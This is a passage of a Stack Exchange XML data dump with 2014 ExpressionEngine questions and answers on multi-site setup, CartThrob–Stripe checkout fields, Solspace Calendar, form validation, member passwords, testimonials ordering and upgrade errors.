  <row Id="24266" PostTypeId="1" AcceptedAnswerId="24276" CreationDate="2014-07-08T20:59:23.573" Score="0" ViewCount="58" Body="&lt;p&gt;I have 5 sites including the default site. Sites 1-4 are fine, but my fifth site is displaying templates from site no. 4. I have copied the admin.php and index.php from the default site and updated them where necessary. I have created new templates in site no. 5 but they are being ignored. What's going on?&lt;/p&gt;&#xA;" OwnerUserId="1851" LastEditorUserId="159" LastEditDate="2014-07-09T08:42:59.020" LastActivityDate="2014-07-09T09:31:59.010" Title="MSM - new site displays wrong templates" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24267" PostTypeId="2" ParentId="24265" CreationDate="2014-07-08T21:57:06.073" Score="3" Body="&lt;p&gt;It's actually easier than with Structure. There's a URL breaking word that you set in Admin-&gt;Channel Administration-&gt;Global Preferences. By default, it's set to &quot;category&quot;, which means that when it encounters a URL with /category/ as a slug, it treats the part after category/ as a slug for a category, so /category/holiday would treat &quot;holiday&quot; as the category slug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the slug, an add-on like &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat&lt;/a&gt; would let you get the category ID from the slug, then just put that into your channel entries loop like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries &#xA;        channel=&quot;blog_entry|blog_link|blog_photo|blog_quote|blog_video&quot; &#xA;        category=&quot;{segment_3_category_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-07-08T21:57:06.073" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24268" PostTypeId="1" CreationDate="2014-07-09T01:33:37.917" Score="3" ViewCount="346" Body="&lt;p&gt;We're using the Stripe Payment Gateway with Cartthrob and the payments are going through and it's working just fine. The only problem is that in the Stripe Dashboard the customer's name, address, and more is set as null. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as I tried to locate the cause of the problem I looked at a few of the files, and the Cartthrob_stripe.php file seems to be where the problem is. It all lines up with the stripe.js documentation that they have, and it has the section that creates a token to see if it's cool to pass through, and then passes through that information. I think it's on the second pass after discovering that there is no error that it doesn't keep the customer's name &amp;amp; address info, and only sends through the essentials. But I can't test out my theories on how to fix this without making actual payments as Stripe in test mode doesn't send the information to the Stripe dashboard. So I won't know if what I did just worked or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to get either a solution to this or some tips on how I might properly test my theories. Any help is appreciated, and anyway that I can help with getting the solution together, let me know. Thank you&lt;/p&gt;&#xA;" OwnerUserId="3333" LastActivityDate="2020-03-02T03:02:00.880" Title="How do you get Cartthrob to send the customer's info through the Stripe Payment Gateway?" Tags="|cartthrob|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24269" PostTypeId="1" CreationDate="2014-07-09T01:52:01.133" Score="0" ViewCount="121" Body="&lt;p&gt;I have a list of upcoming events which I'm pulling by using {exp:calendar:cal}. Is there a way I can limit recurring events so only the first one displays? Using occurrence_count doesn't appear to work.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2016-06-14T11:30:59.560" Title="Solspace Calendar Limit Occurrence Returned" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24270" PostTypeId="1" CreationDate="2014-07-09T02:04:07.007" Score="0" ViewCount="102" Body="&lt;p&gt;I'm trying to get the built in ExpressionEngine Channel Form (formerly Safecracker) validation working for a custom relationship field I have. This is using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#rules-my-field-name&quot; rel=&quot;nofollow&quot;&gt;rules parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Markup snippet of the channel form below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_fields}&#xA;{if field_name == &quot;exp_entry_related_to&quot;}&#xA;&amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;{field_name}&quot;&amp;gt;Context&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name=&quot;{field_name}[data][]&quot; id=&quot;{field_name}&quot; class=&quot;form-control&quot;&amp;gt;&#xA;    {options}&#xA;        &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;    {/options}&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;p class=&quot;error&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{custom_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a requirement (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#id75&quot; rel=&quot;nofollow&quot;&gt;as per the docs&lt;/a&gt;, and per my testing) for the field name to be &lt;strong&gt;exp_entry_related_to[data][]&lt;/strong&gt; for this to populate the channel data, but of course I can't target that field name i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Neither of these work as expected --}&#xA;rules:exp_entry_related_to[data][]=&quot;required|min_length[1]&quot;&#xA;rules:exp_entry_related_to=&quot;required|min_length[1]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any idea how to get this to work? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2153" LastActivityDate="2014-07-09T02:04:07.007" Title="Validating &quot;Relationship&quot; fields with ExpressionEngine Channel Form (SafeCracker)" Tags="|safecracker|validation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24271" PostTypeId="2" ParentId="24269" CreationDate="2014-07-09T05:56:50.383" Score="0" Body="&lt;p&gt;This has been discussed in this thread: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19684/solspace-calendar-only-show-next-occurrence-of-recurring-event-in-list-of-recur/19686#19686&quot;&gt;Solspace Calendar: Only show next occurrence of recurring event in list of recurring and non-recurring events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based off this thread, a tutorial on creating a chronological list with unique occurrences can be found here: &lt;a href=&quot;http://support.solspace.com/solution/categories/115922/folders/190596/articles/4000020599-how-to-display-a-chronological-list-of-events-with-each-unique-event-appearing-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.solspace.com/solution/categories/115922/folders/190596/articles/4000020599-how-to-display-a-chronological-list-of-events-with-each-unique-event-appearing-only&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach is to use PHP to create an array of unique events, and display your event data only when the event is encountered for the first time in {exp:calendar:cal}. Here's an example (turn on PHP for your template and set it to Output):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Create the arrays --}&#xA;&amp;lt;?php &#xA;    $event_ids = array();&#xA;    $event_data = array();&#xA;?&amp;gt;&#xA;&#xA;{!-- &#xA;    // Check if the event was already encountered (i.e. is in the array),&#xA;    // and store your data in a separate array if this is the first time&#xA;    // encountering this event &#xA;--}&#xA;{exp:calendar:cal /* your other parameters here */}&#xA;&amp;lt;?php &#xA;    if( ! in_array('{event_id}', $event_ids) )&#xA;    {&#xA;        $event_ids[] = '{event_id}';&#xA;        $event_data[] = '* The data you want displayed *';&#xA;    }&#xA;?&amp;gt;&#xA;{/exp:calendar:cal}&#xA;&#xA;{!-- Display event data, still in chronological order --}&#xA;&amp;lt;?php &#xA;    foreach($event_data as $data)&#xA;    {&#xA;        echo $data;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course there are likely other strategies, using PHP, Stash, or other means, but the main idea is to create a list/group/array of unique events within your timeframe.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-07-09T05:56:50.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24272" PostTypeId="1" CreationDate="2014-07-09T06:43:07.993" Score="1" ViewCount="91" Body="&lt;p&gt;We have a totally 20 Websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right Now, We are running 5 websites all in MSM under single database. our requirements is member can access all websites in any one of web site login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All are portal kind of websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it Right way for 20 Websites will run under Single database.&#xA;Any MSM limitation is there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how will be a Performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am eagerly waiting for suggestions&lt;/p&gt;&#xA;" OwnerUserId="2228" LastActivityDate="2014-08-08T09:24:56.833" Title="MSM Limitations" Tags="|multi-site-manager|database|login|performance|sessions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24274" PostTypeId="1" CreationDate="2014-07-09T08:38:23.600" Score="0" ViewCount="69" Body="&lt;p&gt;I have a scenario where I am using Solspace's Facebook Connect to allow users to become a member and login to a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to give the user the ability to create a password on their profile page so they can login the traditional way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have experimented with Freemember and User and both require a current password to update/create a new password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my research I saw a suggestion to use free member's reset password functionality which would work but is inconvenient to the user (submit email, check email, click link, create password) so am looking for something better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is because it is part of EE's native functionality to supply current password when updating a user's password (even for a super admin), that this might be an impossibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1280" LastActivityDate="2014-07-10T16:46:39.910" Title="How to create a password for a member logged in via Facebook? i.e. no password set" Tags="|solspace|solspace-user|freemember|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24275" PostTypeId="2" ParentId="24272" CreationDate="2014-07-09T08:42:16.203" Score="1" Body="&lt;p&gt;Yes this is the right way. Performance will be the same, or similar, as if you had the same amount of traffic going through one website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be cautious you could try scaling up to the full 20 websites a few at a time. Check performance and if it's OK then add a few more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to talk to Ellis Labs to see if you could switch your MSM licences to full EE licences should things not work out. They've been very helpful with me in the past regarding MSM licences.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-09T08:42:16.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24276" PostTypeId="2" ParentId="24266" CreationDate="2014-07-09T09:31:59.010" Score="0" Body="&lt;p&gt;Simply recreating the site didn't fix it.&#xA;Creating a differently named site, then recreating the problem site as the 6th site fixed it.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2014-07-09T09:31:59.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24277" PostTypeId="2" ParentId="24274" CreationDate="2014-07-09T12:06:34.080" Score="1" Body="&lt;p&gt;Yeah, you're pretty much down to writing your own add-on which accepts the new password, then manually updates it. The core of the logic would like like this (after someone submitted your custom form):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(ee()-&amp;gt;input-&amp;gt;post('password') == ee()-&amp;gt;input-&amp;gt;post('password_confirm'))&#xA;{&#xA;    ee()-&amp;gt;load-&amp;gt;library('auth');&#xA;    ee()-&amp;gt;auth-&amp;gt;update_password(&#xA;        ee()-&amp;gt;session-&amp;gt;userdata('member_id'),&#xA;        ee()-&amp;gt;input-&amp;gt;post('password')&#xA;    );&#xA;    // Redirect them or whatever&#xA;}&#xA;else&#xA;{&#xA;    ee()-&amp;gt;output-&amp;gt;show_user_error('submission', 'Your passwords must match!');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-09T12:06:34.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24278" PostTypeId="2" ParentId="24268" CreationDate="2014-07-09T12:30:02.707" Score="0" Body="&lt;p&gt;Looking at the code, CartThrob requires that you have the address info inside &lt;em&gt;form inputs&lt;/em&gt; with &lt;em&gt;specific IDs&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address_line1: CartthrobTokenizer.val(&quot;#address&quot;),&#xA;address_line2: CartthrobTokenizer.val(&quot;#address2&quot;),&#xA;address_city:  CartthrobTokenizer.val(&quot;#city&quot;),&#xA;address_state: CartthrobTokenizer.val(&quot;#state&quot;),&#xA;address_zip: CartthrobTokenizer.val(&quot;#zip&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a little odd to me, since unless you are using a single-page checkout, by the time you get to payment, the address info will likely only be displayed as plain text on screen, as it's been entered in earlier steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the easy way to fix this without hacking the CartThrob files is to simply add hidden inputs to your checkout form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;address&quot; id=&quot;address&quot; value=&quot;{customer_address}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;address2&quot; id=&quot;address2&quot; value=&quot;{customer_address2}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;city&quot; id=&quot;city&quot; value=&quot;{customer_city}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;state&quot; id=&quot;state&quot; value=&quot;{customer_state}&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;zip&quot; id=&quot;zip&quot; value=&quot;{customer_zip}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One thing re: Test Mode - you can certainly see these transactions in your dashboard - just flip the switch to TEST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wkl4B.png&quot; alt=&quot;Stripe Live/Test switch&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This switch doesn't &quot;turn&quot; Test Mode on or off - it merely displays Live vs Test data/transactions.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-09T12:30:02.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24279" PostTypeId="1" CreationDate="2014-07-09T12:58:51.270" Score="0" ViewCount="107" Body="&lt;p&gt;Like it says in the title. When using the start_on param in the {exp:super_search:results} tag then {super_search_total_results} doesn't take into account the start_on parameter and counts entries that should be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of using a second search tag with no limit and stashing {absolute_count} is there a way to fix this so the correct total count is supplied?&lt;/p&gt;&#xA;" OwnerUserId="3334" LastActivityDate="2016-05-25T14:05:06.737" Title="Super Search {super_search_total_results} wrong when using start_on paramater" Tags="|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24280" PostTypeId="1" AcceptedAnswerId="24287" CreationDate="2014-07-09T13:11:25.007" Score="1" ViewCount="61" Body="&lt;p&gt;Hopefully this will just be a quick one and it maybe staring me in the face but what I want to be able to display a related testimonial of an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the testimonial has a custom status of Featured, then this will be displayed. If no testimonials have this status set, then it will revert to the latest testimonial added, presumably with a status of Open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out on how I can do this. Below is what I thought may do the trick&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if page_related_testimonials}&#xA;&#xA;{page_related_testimonials &#xA; channel=&quot;testimonials&quot; &#xA; status=&quot;Featured&quot; &#xA; orderby=&quot;date&quot; &#xA; sort=&quot;desc&quot; &#xA; limit=&quot;2&quot;}&#xA;&#xA;&#xA;    {if status==&quot;Featured&quot;}&#xA;    {title} &#xA;    {if:elseif status==&quot;open&quot;}&#xA;    {title}&#xA;    {/if}   &#xA;&#xA;{/page_related_testimonials}&#xA;&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-07-09T15:41:33.287" Title="Displaying a single entry by status but having a fallback order in place" Tags="|status|orderby|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24281" PostTypeId="2" ParentId="22216" CreationDate="2014-07-09T13:29:24.040" Score="1" Body="&lt;p&gt;I've run into this before as well. The issue is that the layout:set action doesnt occur when the cached content is retrieved, so the parent layout has no way to know what it's contents should be. Have you tried escaping the layout:set part from the cacheing? That may or may not work. Worst case, and the route that I ended up taking is to just use native tag cacheing when layout was being set. It's not ideal, but latest EE at least gives us a Redis driver for the native cache.&lt;/p&gt;&#xA;" OwnerUserId="955" LastActivityDate="2014-07-09T13:29:24.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24285" PostTypeId="1" CreationDate="2014-07-09T13:45:45.173" Score="0" ViewCount="57" Body="&lt;p&gt;Have set up MSN as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;spotlesslyclean.com&lt;br/&gt;&#xA;-- system&lt;br/&gt;&#xA;-- themes&lt;br/&gt;&#xA;-- admin.php&lt;br/&gt;&#xA;-- index.php&lt;br/&gt;&lt;/li&gt;&#xA;&lt;li&gt;spotlessovencleaning.co.uk&lt;br/&gt;&#xA;-- admin.php&lt;br/&gt;&#xA;-- index.php&lt;br/&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, when you visits spotlessovencleaning.co.uk, it defaults you to the login screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;config file as follows:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $system_path = '/var/www/vhosts/spotlesslyclean.com/dev.spotlesslyclean.com/system/';&amp;lt;br/&amp;gt;&#xA;$assign_to_config['site_name'] = 'spotless_oven_cleaning';&amp;lt;br/&amp;gt;&#xA;$assign_to_config['cp_url']    = 'http://dev.spotlessovencleaning.co.uk/admin.php';&amp;lt;br/&amp;gt;&#xA;$assign_to_config['site_url']  = 'http://dev.spotlessovencleaning.co.uk';&amp;lt;br/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1728" LastEditorUserId="-1" LastEditDate="2014-07-09T21:44:29.223" LastActivityDate="2014-08-09T09:40:14.653" Title="MSM defaults to login screen on Site 2" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24286" PostTypeId="2" ParentId="24280" CreationDate="2014-07-09T15:39:12.830" Score="1" Body="&lt;p&gt;I've been done this sometimes, but not using relationships. I believe the process is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to order the entries by both date and status. Each one in one direction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;status=&quot;featured|open&quot; orderby=&quot;status|date&quot; sort=&quot;asc|desc&quot; limit=&quot;1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-09T15:39:12.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24287" PostTypeId="2" ParentId="24280" CreationDate="2014-07-09T15:41:33.287" Score="2" Body="&lt;p&gt;If you are only trying to display a single featured entry and if no featured then a single entry with the status of open. I'd do the this. Order your results by status and allow featured and open status entries and then sort it to to look for featured first then open. I think that might be sort=&quot;asc&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So heres what your code will look like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if page_related_testimonials}&#xA;&#xA;  {page_related_testimonials &#xA;      channel=&quot;testimonials&quot; &#xA;      status=&quot;Featured|open&quot; &#xA;      orderby=&quot;status|date&quot; &#xA;      sort=&quot;asc|desc&quot; &#xA;      limit=&quot;1&quot;&#xA;   }&#xA;&#xA;      {title}&#xA;&#xA;   {/page_related_testimonials}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return 1 entry and if an entry related to that channel has the status of Featured it will be the first entry in the data returned if there isn't an entry with Featured it will fall back to an entry related with the status of Open. I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-09T15:41:33.287" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24288" PostTypeId="1" CreationDate="2014-07-09T15:46:09.660" Score="0" ViewCount="582" Body="&lt;p&gt;I'm still new to EE and am trying to upgrade a site from 2.6.1 to 2.8.1, but getting various errors, which I believe are all related to certain add-ons.  Here's a couple examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Champaign2: Fatal error: Call to undefined method EE_Fieldtype::EE_Fieldtype() in /system/expressionengine/third_party/champagne/ft.champagne.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure:  Deprecated function add_to_head() called in system/expressionengine/third_party/structure/mcp.structure.php on line 213 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right in thinking it's down to the developers to fix these issues as EE depreciates various functions - so I need to get in touch with their support?  Or is it normal for devs to struggle through one issue at a time trying to update the third-party module's code to solve themselves?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, are the notices in the developer logs just notices of &lt;em&gt;future&lt;/em&gt; depreciations?  Or do these logs indicate an actual broken function within the current version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Justin&lt;/p&gt;&#xA;" OwnerUserId="3113" LastActivityDate="2015-01-07T07:19:27.487" Title="How to fix depreciation issues after upgrades" Tags="|add-on|ee2-upgrades|developer-log|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24291" PostTypeId="1" AcceptedAnswerId="24300" CreationDate="2014-07-09T20:59:04.523" Score="0" ViewCount="106" Body="&lt;p&gt;When I add a payment to an order (&quot;New Payment&quot; button), I'm getting an Fatal Error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Localize::convert_human_date_to_gmt() in /var/www/vhosts/domain/httpdocs/system/expressionengine/third_party/store/src/Store/Cp/OrdersController.php on line 342&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is causing this? Already update Expresso store to the latest version 2.3.1.&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-08-09T10:40:14.803" Title="Expresso store: Fatal error when adding payment" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24292" PostTypeId="1" AcceptedAnswerId="24330" CreationDate="2014-07-09T22:41:19.580" Score="1" ViewCount="53" Body="&lt;p&gt;Client has insisted that instead of giving a set quantity for the various items on the Expression Engine\Expresso ecommerce store, they would maintain it internally on their mainframe and divulge it to the webfront via CSV streams. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of one such permutation of the stream: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BAZIK,279,BLACK,149,BREEZY,1192,BUFF,644,BUTTERCREA,931,CLEMENTINE,562,CREAM,1033,HONEYDEW,992,JAVA,21,METAL,845,PISTACHIO,954,QUARRY,1123,RED,1122,STEEL,204,WHITE,234&lt;/p&gt;&#xA;&#xA;&lt;p&gt;^ This is for one product type, not all of them. There are multiple streams which compose all of the products listed on the site itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, on the webfront if the page was on this stream's category and the product specified was &quot;Bazik&quot; the number next to the item would be 279. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss on how to approach this. They won't budge on the issue, so how do I get this to work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;@ Foamcow&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't know how to do that and, frankly, I don't have the time to figure it out unfortunately.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This makes good sense.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is already being handled, however the result would not be in real time (which further muddies the entire point of this). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3336" LastEditorUserId="2559" LastEditDate="2014-07-10T14:42:34.397" LastActivityDate="2014-07-10T21:55:02.413" Title="CSV stream containing item name and inventory from client- wishes to display it on product pages. How?" Tags="|expresso-store|expresso|csv|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24293" PostTypeId="1" CreationDate="2014-07-09T23:02:07.927" Score="2" ViewCount="77" Body="&lt;p&gt;As you know from previous posts, that I am new to EE and I thank you for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a little background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You know the &quot;URL Title&quot; field and how that can produce part of the URL, I was told to change that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change www.example.com/products/generation3-product to www.example.com/products/g3-product&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way that I changed it was by changing the &quot;URL Title&quot; field from generation3-product to g3-product and it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great, right? No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I have changed it - yes, you are able to go to www.example.com/products/g3-product and see the product that you expect, but now the old URL still exists - www.example.com/products/generation3-product - but it displays a product that has nothing to do with the previous entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2014-07-10T20:09:47.750" Title="Old URLs pointing to the same product name" Tags="|redirects|url-title|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24295" PostTypeId="2" ParentId="24183" CreationDate="2014-07-10T00:27:25.367" Score="0" Body="&lt;p&gt;Yep, well, sort of! You need to copy the paypal payment plugin and rename it to paypal_eu/paypal_us etc (and change a couple of other names in the code, but srsly like just a couple) and it will see it as a separate gateway so you can give it separate paypal account settings.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-07-10T00:27:25.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24296" PostTypeId="2" ParentId="23938" CreationDate="2014-07-10T00:29:42.153" Score="0" Body="&lt;p&gt;Have you installed the latest CT version? I know that there was a lot of extra work in there for MSM specifically.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-07-10T00:29:42.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24297" PostTypeId="2" ParentId="23862" CreationDate="2014-07-10T00:32:41.693" Score="0" Body="&lt;p&gt;CT 2.5 isn't compatible with EE 2.8, go and grab CT 2.6 which is EE 2.8 compatible.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-07-10T00:32:41.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24298" PostTypeId="2" ParentId="21627" CreationDate="2014-07-10T01:22:25.133" Score="1" Body="&lt;p&gt;I have this problem as well, it's very annoying. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a bug report here you might want to add to:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20374/undefined-alert-when-logging-in-to-expired-session&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20374/undefined-alert-when-logging-in-to-expired-session&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="763" LastActivityDate="2014-07-10T01:22:25.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24299" PostTypeId="2" ParentId="24293" CreationDate="2014-07-10T02:46:45.593" Score="1" Body="&lt;p&gt;EE is going to try to figure out what content to serve automatically unless you specify what content to grab. So when you have a URL that has a valid URL title like www.example.com/products/g3-product EE will recognize that the last segment is a valid URL title and show that content. When you have a non-valid url_title like www.example.com/products/generation3-product EE is going to first try to find an entry with the url title of the last segment. If it doesn't it is going to show the first entry that matches your channel entries tag (in most cases this will be the most recent entry).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;James Smith wrote a great &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow&quot;&gt;URL Schematic chart&lt;/a&gt; of what and how EE processes URLs so take a look at that to help you get started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of things that you can do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you will want to add a few things to your template but without seeing your template now I am going to have to guess. You probably have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot;}&#xA; {title}&#xA; ... Other tags here ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add the &lt;code&gt;require_entry&lt;/code&gt; and 